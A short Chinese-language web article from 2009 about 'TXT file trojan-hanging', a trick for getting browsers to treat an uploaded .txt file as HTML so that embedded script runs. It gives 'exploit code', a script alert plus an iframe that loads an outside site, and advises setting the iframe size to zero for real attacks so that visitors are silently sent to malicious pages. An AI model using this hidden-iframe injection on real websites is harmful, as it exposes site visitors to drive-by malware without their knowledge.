热门关键字:   网站安全  黑客攻防  安全漏洞  系统安全  网络安全
站外
广告
域名申请虚拟主机 信息安全 域名注册 云主机 网络安全技术 企业网络安全 站外
广告
文字广告位招租 文字广告位招租 文字广告位招租 文字广告位招租 云安全

非常特殊的TXT文件挂马技巧

发布时间:2009-09-09 00:20文章来源:网络文章作者:秩名 点击次数:
摘要:我们平常挂马无外乎就那么几种方式,如框架挂马、js挂马、css挂马. txt不是文本文件吗?它如何挂马?且听我慢慢道来,很简单的说. 如果有人给你发个一个类似http://www.xxx.com/test.txt的链接,你敢不敢打开?如果你觉得这只是一个txt文件,打开就打开,没有什么好...

我们平常挂马无外乎就那么几种方式,如框架挂马、js挂马、css挂马.
txt不是文本文件吗?它如何挂马?且听我慢慢道来,很简单的说.
如果有人给你发个一个类似http://www.xxx.com/test.txt的链接,你敢不敢打开?如果你觉得这只是一个txt文件,打开就打开,没有什么好怕的,那是因为你还没听说过txt文件挂马,如果你听说过,那么你就不会这么大胆了.
我们把以下代码保存为test.txt
PS:为了显示,所以把width,height的值才设的那么大的.真正挂马的话最好设成0
然后把test.txt上传到web空间中,访问一下,在框架中打开了百度这死Y.

 


这可能要算浏览器的一个小BUG,在txt文件中只要加上SCRIPT,浏览器就会把它认为是HTML文件,就会解析执行

利用代码: <script>alert(jk)</script>
<iframe src=http://www.jk1986.cn width=500 height=500></iframe>

标签分类: 网站安全

上一篇:VNC提权技术总结篇
下一篇:NC瑞士军刀 使用教程说明